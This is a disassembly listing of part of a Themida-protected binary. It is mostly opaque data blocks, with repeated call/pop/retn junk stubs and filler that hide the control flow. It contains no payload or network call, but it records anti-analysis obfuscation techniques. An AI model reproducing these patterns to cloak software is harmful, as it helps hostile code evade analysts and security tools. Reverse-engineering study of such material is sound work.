		dd 5E5ECDC5h, 81241C89h, 0E5BE26CEh, 25B5FF08h,	6A0AE331h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 99ADC352h, 0B938E0F0h, 0E1BD8B19h, 0E90AE332h
		dd 0Ch,	0D1FF579Ch, 36E594E8h, 0BE99C3E8h, 1CD195FFh, 0BF0F0AE3h
		dd 6A00B0F6h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0B697C356h, 0E9F5D0F9h, 10h, 0EC8334FBh
		dd 6062BCA0h, 9F1AE1EBh, 27E08D1h, 0BF6670E6h, 71E41672h
		dd 2F2D9D89h, 613C0AE3h, 2A9830Fh, 0B58B0000h, 0AE32BB5h
		dd 6AD8B60Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 8CCEC356h, 0B6107EA6h,	6BA38BCh
		dd 0E8000000h, 6, 0BB82CDE3h, 8B5F92B4h, 55006AC3h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 68F0FB1h, 8B000000h,	0E32295BDh, 4E8C10Ah, 66F8BF0Fh
		dd 0F766F18Bh, 13F781E2h, 2B79B0CFh, 850160D8h,	0AE30679h
		dd 6A5861F8h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0C029C353h, 0F439D8Fh,	687h, 8FCE8100h
		dd 2B512129h, 0F0880FD8h, 6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 4E65C351h
		dd 9853EE07h, 9589FFD8h, 0AE32FD9h, 7B9h, 0BF0F5300h, 0C1835EF8h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0CB020B44h, 557E73BEh, 3A3ABF61h, 0D93B5D34h
		dd 189860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 716FF8C3h, 0B58B5682h, 0AE317C9h
		dd 0D98C665Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0E2C35040h, 917CAD41h, 0C0662F06h, 0F04C1F6h, 10084h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0D6127D40h, 0AB3CF8FAh, 8C0F1944h, 0Ch
		dd 6880Fh, 8D0F0000h, 0
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+0AE33389h]
		push	0
		push	ebp
		call	sub_5C51A1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C51A1	proc near		; CODE XREF: Themida_:005C5199p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5C51A1	endp

; ---------------------------------------------------------------------------
		db 0EEh, 16h, 70h
; ---------------------------------------------------------------------------
		jnz	short loc_5C51C5
		retf
; ---------------------------------------------------------------------------
		db 25h
		dd 12E9B289h, 0F3000000h, 0DD566C03h
		db 0BDh
; ---------------------------------------------------------------------------


loc_5C51C5:				; CODE XREF: Themida_:005C51B4j
		inc	esi
		push	5Fh
		mov	[edi-3Ah], bl
		stosd
		neg	byte ptr [ebp+ebx*8-45h]
		cmp	[ebx+6A5BF0h], ecx
		push	edi
		call	sub_5C51DF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C51DF	proc near		; CODE XREF: Themida_:005C51D7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5C51DF	endp

; ---------------------------------------------------------------------------
		db 88h
; ---------------------------------------------------------------------------
		shl	dword ptr [edx+ebp*2-3AF9E87Bh], 0C4h
		mov	ebp, 14E9h
		add	[ecx+edx*2+15h], ah
		xchg	eax, ecx
		sbb	eax, 8290E14h
		db	26h
		cmp	al, 0D9h
		sbb	ah, [edi+14h]
		test	al, 0A9h
		and	ebp, [esi-5Fh]
		sub	eax, ebx
		movzx	esi, si
		cmp	eax, 834h
		jbe	loc_5C5259
		pusha
		and	eax, [ebp+0AE310E5h]
		add	bl, 0CAh
		popa
		jmp	loc_5C528B
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5C523D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C523D	proc near		; CODE XREF: Themida_:005C5235p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5C523D	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dw 2F0Ah
		dd 894AF45Ah, 0E316F195h
		db 0Ah
; ---------------------------------------------------------------------------


loc_5C5259:				; CODE XREF: Themida_:005C521Cj
		mov	eax, eax
		push	0
		push	esi
		call	sub_5C5266
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5266	proc near		; CODE XREF: Themida_:005C525Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5C5266	endp

; ---------------------------------------------------------------------------
		dw 0B771h
		dd 0EDDA9997h, 0F69D55Fh, 68Ch,	91952900h
		db 1Ch,	0E3h, 0Ah
; ---------------------------------------------------------------------------


loc_5C528B:				; CODE XREF: Themida_:loc_5C4DDAj
					; Themida_:005C522Dj
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	ecx
		call	sub_5C529A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C529A	proc near		; CODE XREF: Themida_:005C5292p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5C529A	endp

; ---------------------------------------------------------------------------
		dw 0E804h
		dd 13h,	99C87868h, 0F12EFB45h, 9387ABFDh, 2259E618h, 52772834h
		dd 11F59509h, 5E5E0AE3h, 128185C7h, 913D0AE3h, 6A3DBBh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0B7F581C3h, 89BC7A3Bh, 0E3193585h, 51B58B0Ah, 8B0AE325h
		dd 52006AC0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0BF0F7DD9h, 25BD81F3h, 0D00AE331h, 0F000007h
		dd 3A85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 2AF54234h, 0C51D4835h, 0EEC681E9h
		dd 0FF3CAEC0h, 0E3312585h, 5E90Ah, 56880000h, 0FF0FEAC1h
		dd 0E33125B5h, 8E90Ah, 0CA560000h, 386D142Ah, 95FF5ABCh
		dd 0AE31CD1h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ch,	68C35141h, 0C362B174h, 8908325Bh, 8589F38Bh, 0AE3236Dh
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 851C15Fh, 1A40D0FEh, 1BADB52Bh, 6A0AE3h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 934341C3h, 0D7ADAAB4h, 35319D09h, 0BD030AE3h, 0AE307DDh
		dd 2F0DBD8Bh, 0EE80AE3h, 0D7000000h, 80902F20h,	6A482C45h
		dd 0D0D4FC01h, 2CBF66C6h, 6A5F64h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E99E8BC3h, 0Dh, 2C1EB732h
		dd 0F8D7217Bh, 0FFC8AE73h, 56006A18h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 535C6C91h
		dd 9BD33E6h, 6A0AE32Dh,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 4831C356h, 8B66A2F9h
		dd 6840FF8h, 89000000h,	0E310899Dh, 99BD8B0Ah, 8B0AE31Eh
		dd 0E3261DB5h, 0F735E90Ah, 6AFFFFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 927C58C3h
		dd 8BF1BF0Fh, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 88E6D980h, 0F681660Ch, 4EB2DB9h
		dd 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+0AE31755h]
		mov	esi, [ebp+0AE3051Dh]
		push	0
		push	eax
		call	sub_5C5523
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5523	proc near		; CODE XREF: Themida_:005C551Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5C5523	endp

; ---------------------------------------------------------------------------
		db 2Eh
		dd 1ACD9D31h, 858D0AE3h, 0AE32FFDh, 0B99D89h, 50900AE3h
		dd 5FFA8B66h, 58A0F50h,	0BF000000h, 33F98BC7h, 840F90h
		dd 6A000000h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0D454BAE2h, 5C8A69A8h, 0BF0FB411h
		dd 6A006AF1h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 9D48C353h, 3466AB96h, 31AF858Dh
		dd 6E80AE7h, 2D000000h,	0A9FBBE7Ah, 45B5032Ch, 5F0AE32Eh
		dd 6A05C083h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 306C355h, 6E364D1h, 91D68166h
		dd 8B6690A8h, 525050F9h, 0FF08B66h, 0C295BE31h,	585A6418h
		dd 0C9BF6690h, 0CE9602Bh, 6C000000h, 0DE6B3D6Ah, 910F765h
		dd 8B0E41A5h, 0E32E5D8Dh, 6A610Ah, 14FD9529h, 0FE90AE3h
		dd 95000000h, 0CA2D019Dh, 4CCAA85Fh, 9F63017Bh,	6AA9A0h
		dd 14E995FFh, 6A0AE3h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 8B90C0C3h, 4CD3E35Fh, 0D5CA9D8Dh
		dd 0BD8B0AE6h, 0AE31385h, 6AD3FFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0F92AE1C3h, 9133D8DCh
		dd 1585FF93h, 8B0AE31Ch, 0E32F85BDh, 796E90Ah, 0E80000h
		dd 5D000000h, 31B9ED81h, 0B5090AE7h, 0AE31BCDh,	3125BD81h
		dd 7D00AE3h, 860F0000h,	187h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0A1C35242h,	839791EFh, 0A2CF3061h
		dd 75958929h, 8B0AE326h, 0E319D59Dh, 69CE810Ah,	81113EDAh
		dd 100E3h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0F5037BFh, 0B5EF1B7h, 9F850FDBh
		dd 0BF000000h, 30D96F0Bh, 1B39BD8Bh, 0BD830AE3h, 0AE73016h
		dd 45840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 73B6C350h, 73E9C9ACh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 1335C357h, 0CC6673B0h,	301685C7h
		dd 10AE7h, 8E80000h, 0C5000000h, 5A14893Fh, 661C2D6Bh
		dd 573F781h, 30E95Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 92364FC3h, 85C73170h
		dd 0AE73016h, 0
; ---------------------------------------------------------------------------
		mov	esi, [ebp+0AE312DDh]
		lea	ebx, [ebp+0AE319D5h]
		push	0
		push	ebp
		call	sub_5C57EF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C57EF	proc near		; CODE XREF: Themida_:005C57E7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5C57EF	endp

; ---------------------------------------------------------------------------
		db 0EDh
		dd 76D44A1Eh, 0B143BFE1h, 0DE997h, 5B410000h, 0DC8896A8h
		dd 2771FAD9h, 819C64ECh, 0FFFEFF23h, 53006AFFh,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0EEE0D658h
		dd 9E916h, 0A880000h, 0EE31FBE6h, 667BA155h, 9D01DB8Ch
		dd 0AE328C9h, 0F04C3F6h, 2384h,	6D8D8900h, 0FF0AE322h
		dd 0E3338995h, 0BF66900Ah, 8B50E23Ch, 9E990F1h,	9B000000h
		dd 1AE6CBFAh, 2522305Eh, 3C0E9h, 6A00B000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 7EBC357h
		dd 0BEC39665h, 7D23FDEh, 6A70E6FCh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 4C36C356h
		dd 0A01FFA87h, 0C6B70F60h, 6BDE63BEh, 9589614Eh, 0AE31591h
		dd 950171E4h, 0AE326A5h, 29D8B60Fh, 0E31BD19Dh,	6BA0Ah
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 9D39F7C3h, 400F2DDh, 0B58BEAC5h, 0AE326A9h
		dd 0C1F9C38Bh, 0F76604E8h, 57006AE2h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0A3F4F9D2h
		dd 66D422B9h, 0F84A8BFh, 8Dh, 0F7B70F00h, 6693D82Bh, 5650F28Bh
		dd 870F935Fh, 6, 1C29BD31h, 0B5FF0AE3h,	0AE33125h, 2059B58Bh
		dd 95FF0AE3h, 0AE31CD1h, 11E9h,	0C293F100h, 0E419EB38h
		dd 765565h, 0E53097D8h,	0F4BECA9Ah, 0B013D5F9h,	458D8900h
		dd 0E60AE323h, 71E4F870h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0F9C35242h, 0F974E75h, 38Eh, 0FA8B6600h
		dd 6E8h, 34CBA000h, 8112BE53h, 0ACBA18DEh, 613C5F0Eh, 25B830Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0A02996C3h, 62563BD3h, 0F8B731C2h, 0EAD9BE66h
		dd 66D8B60Fh, 243EDE81h, 6BAh, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 46D29FC5h
		dd 53917331h, 0C38B8FC5h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 6FC35242h, 0EE8650BDh, 1C6DB50Bh, 35BF0AE3h
		dd 0C177908Dh, 6A04E8h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0DAC5B4C3h, 0F78BF541h, 8BE2F766h
		dd 0E326C1B5h, 6AD82B0Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 462C357h, 6C29CA1Fh
		dd 3D9D8954h, 580AE306h, 2BF18B66h, 6E880FD8h, 66000001h
		dd 0B9A053BEh, 7, 15918529h, 0C1830AE3h, 0BF0F6000h, 0EE8D2h
		dd 68E10000h, 0AC26B8F5h, 317D19F2h, 96F0BF58h,	0D93B6158h
		dd 13B860Fh, 0BF0F0000h, 0D98C66FBh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0A5C35141h,	0D840F53h, 0E9000000h
		dd 8, 5BB98AB4h, 9284FDE0h, 4B7A2DBEh, 4C1F67Bh, 0F0840Fh
		dd 8B660000h, 8995FFF7h, 6A0AE333h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 97C0C357h
		dd 85892AE8h, 0AE3046Dh, 5BFA8B66h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 95C35040h, 4834821Ch, 76BBB462h
		dd 800F601Eh, 5, 0EA2E4FB9h, 61E1B528h,	6AC32Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 664159C3h, 2976F8BFh, 0E319E1BDh, 8343D0Ah, 860F0000h
		dd 56h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh
		dd 0D1C35242h, 0D95A723Ch, 668B5758h, 12DBEF81h, 5A5B523h
		dd 2AE90AE3h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0E0F7C353h,	16A1B52Bh
		dd 0C08B0AE3h, 0DFB939BFh, 8BC38B0Bh, 53006AD8h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 0EBCEC0E2h, 8B66F627h, 3585C7F1h, 910AE31Ah,	8B59CCBDh
		dd 0E31A31B5h, 6AC08B0Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8966C351h, 0E315898Dh
		dd 25BD810Ah, 0D00AE331h, 0F000007h, 3685h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 3B703CEFh, 8A1BE1Dh,	80603BC6h, 0FF619BC2h, 0E3312585h
		dd 0D585890Ah, 0FF0AE315h, 0E33125B5h, 9E80Ah, 1BD80000h
		dd 6B2B7F68h, 0F4766FCh, 688h, 98C68100h, 5F522924h, 1CD195FFh
		dd 0B50B0AE3h, 0AE33521h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 91D126D7h
		dd 1CF9BD89h, 85010AE3h, 0AE303C9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0FAC35040h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 0ACC35646h, 0C58589E5h
		dd 890AE32Dh, 0E3036195h, 0DE81660Ah, 6ACC28h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0E39B2BC3h, 0BD23F56Fh, 0AE303B1h, 66CE8166h, 0F28B6621h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0CFC35747h
		dd 0AF3F7B72h, 13E9h, 37861B00h, 0BC8AC945h, 8EA7CC8Ch
		dd 0EB988C48h, 43471AB9h, 4FCF8166h, 68F0FD1h, 8B000000h
		dd 0E320B9BDh, 0FE8B660Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0C1C35646h, 998531BFh, 0E90AE315h, 0FFFFF876h
		dd 6850Fh, 0B58B0000h, 0AE31E49h, 4EBC18Bh, 0
; ---------------------------------------------------------------------------
		mov	esi, [ebp+0AE32E01h]
		pusha
		push	ecx
		mov	ebx, 56BB39ABh
		pop	edx
		sub	di, 0FA6Ah
		popa
		lea	eax, [ebp+0AE32FFDh]
		push	0
		push	eax
		call	sub_5C5E69
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5E69	proc near		; CODE XREF: Themida_:005C5E61p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5C5E69	endp

; ---------------------------------------------------------------------------
		db 56h,	58h, 0EAh
; ---------------------------------------------------------------------------
		inc	eax
		mov	ah, 0C1h
		push	eax
		mov	esi, 27B1F09Fh
		mov	[esp], eax
		mov	[ebp+0AE31AA1h], ecx
		push	0
		push	eax
		mov	esi, [ebp+0AE31051h]
		pop	edi
		push	0
		push	0
		push	esi
		call	sub_5C5EA5
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5EA5	proc near		; CODE XREF: Themida_:005C5E9Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5C5EA5	endp

; ---------------------------------------------------------------------------
		db 0F3h, 0B2h, 3Eh
; ---------------------------------------------------------------------------
		sub	al, 9Bh
		pusha
		jg	loc_5C5EC2
		cmc


loc_5C5EC2:				; CODE XREF: Themida_:005C5EBBj
		sub	[ebp+0AE31A75h], ecx
		popa
		lea	eax, [ebp+0AE73B11h]
		push	0
		push	ebp
		call	sub_5C5EDA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5EDA	proc near		; CODE XREF: Themida_:005C5ED2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5C5EDA	endp

; ---------------------------------------------------------------------------
		dw 948h
		dd 0C9E9A78Dh, 8D894586h, 0AE3216Dh, 8B05C083h,	0E31209BDh
		dd 5250500Ah, 0F525060h, 66585A31h, 0F61CB8Bh, 6EA6BF31h
		dd 585A2AABh, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 27F4C356h, 12E8h, 0C1F28400h
		dd 0FF02776Eh, 0ABD99F92h, 0E935D583h, 575A2C8Fh, 2C31BD8Bh
		dd 5F5E0AE3h, 0D179BF66h, 0B58B006Ah, 0AE31189h, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BD89B4C3h, 0AE320D5h, 0A7F63ABFh, 0B830F4Fh, 0F000000h
		dd 58Fh, 0D7816600h, 95FFA25Bh,	0AE314E9h, 8DF28B66h, 0E6D5CA9Dh
		dd 55006A0Ah, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0FF0EB331h, 55006AD3h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 85F74023h
		dd 8B668E12h, 91B58BFEh, 0FF0AE315h, 0E31C1585h, 999D290Ah
		dd 0E90AE316h, 859h, 0E8h, 0ED815D00h, 0AE73B1Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 98C35242h, 8184A024h
		dd 0E33125BDh, 7D00Ah, 53860F00h, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0EF29C351h, 0F99E5CC9h, 8BF7B70Fh, 0E32F459Dh, 53006A0Ah
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0BDA3D8ACh, 0E381FCh, 8B000001h, 0E31B5DB5h,	0FDB0B0Ah
		dd 0A485h, 0FDB58B00h, 660AE31Eh, 2237E781h, 394EBD83h
		dd 0F000AE7h, 5284h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 8D8B6047h, 0AE331A5h
		dd 75E961h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 160424h, 55450000h, 10AFC9C3h, 7CF8166h, 39B58B65h
		dd 0C70AE31Ch, 0E7394E85h, 10Ah, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0CC11A4E6h
		dd 0F24F9EBAh, 18E9BBAAh, 8B000000h, 0E31C59BDh, 4E85C70Ah
		dd 0AE739h, 8B000000h, 0DBD8BF2h, 8D0AE302h, 0E32F459Dh
		dd 7E80Ah, 0B0200000h, 2F9E1AA6h, 0FE9EEh, 847C0000h, 0B90F53B3h
		dd 0CDC3FC76h, 0BF208762h, 23815F48h, 0FFFFFEFFh, 8E960h
		dd 0FC410000h, 0D916F994h, 0B70FCFACh, 8C6661CAh, 0C59589DBh
		dd 0F60AE312h, 840F04C3h, 9Eh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 9BC35141h, 3F6AA680h, 85291A04h
		dd 0AE30A9Dh, 8995FFF5h, 6A0AE333h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 2723C350h
		dd 762D75FEh, 50BB57C8h, 0EE8h,	8DF75800h, 0A9D51FD5h
		dd 17FB6C76h, 0E90BC22Ch, 6, 0D60104FCh, 895FA7AFh, 6A2404h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0AC8A59C3h, 0EF6AB616h, 0A57BC781h, 0EFE91692h, 0E8000003h
		dd 14h,	3029C6CDh, 0D0391007h, 969D48B5h, 0CC3466ABh, 0BC208ECFh
		dd 0CD858B60h, 660AE307h, 5F61F18Bh, 0B58900B0h, 0AE32941h
		dd 6A70E6h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 7E04E3C3h, 0EBE97E6h, 0D2CF8166h,	8B71E483h
		dd 0E32F65BDh, 0D8B60F0Ah, 14E9h, 1A606B00h, 0DD851848h
		dd 712CBCAAh, 0A9A173C1h, 7A09DDAh, 6BA00h, 85890000h
		dd 0AE30665h, 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0DC67D2C3h, 0CE9378Eh, 6B000000h
		dd 87C4E18h, 168EEDA3h,	0C1ADE8D0h, 0E95604E8h,	0Fh, 62BB5088h
		dd 83794AF5h, 9362E163h, 5EA01D45h, 2BE2F766h, 57006AD8h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 303C2F7Ch, 0C01A6810h, 0BD8BC956h, 0AE325CDh, 0F38B6650h
		dd 56241C89h, 25B5FF5Fh, 6A0AE331h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0DCA4C352h
		dd 0EF5BFE15h, 9585A06Bh, 1AB5BD2Bh, 8E0F0AE3h,	16h, 11E9h
		dd 51C0CB00h, 9DB129F9h, 7B6D69C5h, 0EA774680h,	95FF1B65h
		dd 0AE31CD1h, 1DE5BD89h, 0EF810AE3h, 26B93A5h, 6A00B0h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0DC7B59C3h, 0A1728D42h, 880FFAh, 0E6000000h,	0E1BD0370h
		dd 30AE31Eh, 0E31A0DB5h, 6A71E40Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 9018C352h
		dd 54ADE933h, 0A6D87971h, 0F613CF9h, 21D83h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0AA404076h, 0DA2EC2A1h, 0B60FC15Ch, 50006AD8h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 81669671h, 6046BBEEh, 15FD958Bh, 958B0AE3h, 0AE301FDh
		dd 6BA61h, 85890000h, 0AE3171Dh, 0E8C1C38Bh, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 2E12E538h, 0E8D36FAAh, 0Bh, 119F5A30h, 0D46A0D35h, 5EFD84D6h
		dd 66F88B66h, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0BD8B6AC3h, 0AE3045Dh, 0A2BED82Bh
		dd 0F598CE9h, 681h, 0F1952900h,	580AE308h, 0FD82BFCh, 13D88h
		dd 7B9F900h, 0F9000000h, 6A00C183h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0E4AC352h
		dd 107E5C7h, 0E3134585h, 0FD93B0Ah, 10586h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0DE1F3816h, 108F0FF1h, 0E9000000h, 0Bh, 7F5E4376h, 0A423BF01h
		dd 66B63E7Ch, 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0F590AAC3h, 0A0CBCCF0h, 4C1F625h
		dd 90840Fh, 0CF810000h,	35CB7AFAh, 338995FFh, 6A0AE3h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 6A5BA3C3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 6B39C355h, 0BD8BC32Bh,	0AE311D1h
		dd 8343Dh, 37860F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 4A88C356h, 0F3DC91Eh
		dd 686h, 31B53300h, 0E90AE31Ch,	16h, 2979B58Bh,	0C08B0AE3h
		dd 9E9h, 0A6DBE00h, 64BFAC29h, 0C38B3601h, 6AD88Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0F2E701C3h, 89522FF2h, 0E314F585h, 0D585C70Ah, 790AE319h
		dd 6A786265h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 1F19C352h, 19B58B89h, 8B0AE318h
		dd 0F0BF0FC0h, 7D78E681h, 0BD812448h, 0AE33125h, 7D0h
		dd 3C850Fh, 0B50B0000h,	0AE31ED1h, 312585FFh, 6A0AE3h
